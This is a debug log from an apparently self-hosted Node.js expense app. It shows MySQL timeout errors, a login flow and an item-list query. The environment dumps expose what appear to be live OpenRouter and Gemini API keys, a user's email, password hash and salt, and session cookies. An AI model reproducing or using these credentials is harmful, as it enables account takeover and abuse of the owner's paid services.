    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-06 01:50:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-06 02:01:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-06 02:01:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-06 02:07:49' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-06 02:07:49' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-06 09:03:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-06 09:03:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-06 10:55:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-06 10:55:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-06 11:58:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-06 11:58:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-06 16:12:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-06 16:12:51' as DATETIME)"
}
2026-03-06T16:29:43.264Z server-connect:router Serving templateView /
2026-03-06T16:29:43.265Z server-connect:app Executing action step identify
2026-03-06T16:29:43.265Z server-connect:app options: { provider: 'security' }
2026-03-06T16:29:43.266Z server-connect:auth No login cookie found
2026-03-06T16:29:43.266Z server-connect:output identity: false
2026-03-06T16:29:43.266Z server-connect:app Executing action step restrict
2026-03-06T16:29:43.266Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-06T16:29:43.267Z server-connect:output restrict: undefined
2026-03-06T16:29:43.563Z server-connect:router Serving templateView /login
2026-03-06T16:29:43.563Z server-connect:app Executing action step identify
2026-03-06T16:29:43.563Z server-connect:app options: { provider: 'security' }
2026-03-06T16:29:43.563Z server-connect:auth No login cookie found
2026-03-06T16:29:43.563Z server-connect:output identity: false
2026-03-06T16:29:43.563Z server-connect:router Render template layouts/authentication
2026-03-06T16:29:43.564Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
    'x-forwarded-for': '157.48.253.233',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-07T16:29:43.562Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.253.233',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '157.48.253.233',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-06T16:29:48.743Z server-connect:router Serving serverConnect /api/access-control/login
2026-03-06T16:29:48.744Z server-connect:app Executing action step identify
2026-03-06T16:29:48.744Z server-connect:app options: { provider: 'security' }
2026-03-06T16:29:48.793Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-03-06T16:29:48.796Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-03-06T16:29:48.847Z server-connect:output identity: 1
2026-03-06T16:29:48.847Z server-connect:app Executing action step login
2026-03-06T16:29:48.847Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-03-06T16:29:48.848Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-03-06T16:29:48.893Z server-connect:output identity: 1
2026-03-06T16:29:48.893Z server-connect:app Executing action step restrict
2026-03-06T16:29:48.893Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:29:48.893Z server-connect:output restrict: undefined
2026-03-06T16:29:49.198Z server-connect:router Serving templateView /
2026-03-06T16:29:49.198Z server-connect:app Executing action step identify
2026-03-06T16:29:49.199Z server-connect:app options: { provider: 'security' }
2026-03-06T16:29:49.199Z server-connect:output identity: 1
2026-03-06T16:29:49.199Z server-connect:app Executing action step restrict
2026-03-06T16:29:49.199Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-06T16:29:49.199Z server-connect:output restrict: undefined
2026-03-06T16:29:49.199Z server-connect:app Executing action step restrict
2026-03-06T16:29:49.200Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-06T16:29:49.200Z server-connect:output restrict: undefined
2026-03-06T16:29:49.200Z server-connect:router Render template layouts/main
2026-03-06T16:29:49.201Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'x-forwarded-for': '157.48.253.233',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-07T16:29:48.894Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.253.233',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'HTTP_X_FORWARDED-FOR': '157.48.253.233',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-06T16:29:50.014Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-06T16:29:50.018Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-06T16:29:50.018Z server-connect:app Executing action step identify
2026-03-06T16:29:50.019Z server-connect:app options: { provider: 'security' }
2026-03-06T16:29:50.019Z server-connect:output identity: 1
2026-03-06T16:29:50.019Z server-connect:app Executing action step restrict
2026-03-06T16:29:50.019Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:29:50.021Z server-connect:output restrict: undefined
2026-03-06T16:29:50.021Z server-connect:app Executing action step select
2026-03-06T16:29:50.021Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-06T16:29:50.022Z server-connect:app Executing action step identify
2026-03-06T16:29:50.022Z server-connect:app options: { provider: 'security' }
2026-03-06T16:29:50.022Z server-connect:output identity: 1
2026-03-06T16:29:50.022Z server-connect:app Executing action step restrict
2026-03-06T16:29:50.022Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:29:50.029Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
